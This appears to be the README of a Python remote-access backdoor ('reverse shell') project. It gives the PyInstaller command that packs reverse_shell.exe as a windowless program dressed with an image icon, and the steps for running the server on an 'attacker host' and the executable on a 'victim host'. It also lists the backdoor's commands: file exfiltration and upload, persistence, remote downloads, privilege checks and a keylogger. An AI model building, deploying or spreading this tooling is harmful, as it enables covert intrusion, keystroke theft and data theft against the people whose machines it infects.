Basic scripts and reverse shell programs
The backdoor reverse_shell.exe is compiled using pyinstaller:
python -m PyInstaller reverse_shell.py --onefile --noconsole --add-data="assets/image.jpg;." --icon=assets/image.ico
- Edit the
host
variable on both server.py and reverse_shell.py, setting the (IP, port) of the host that will run theserver.py
- Recompile the reverse_shell.py
- Start
server.py
on the attacker host - Start
reverse_shell.exe
on victim host - On server, type
help
to show commands instructions
* Shell#~('127.0.0.1', 64673): help
Available functions:
- cd {path} => change host directory
- download {file} => Download a file from host
- upload {file} => Upload a file to the host
- persistence => Try acquiring persistence
- get {url} => Download a remote file
- isadmin => Check user privileges
- keylogger start|dump|stop => start the keylogger|dump the log keylog|stop the keylogger
- exit => quit the service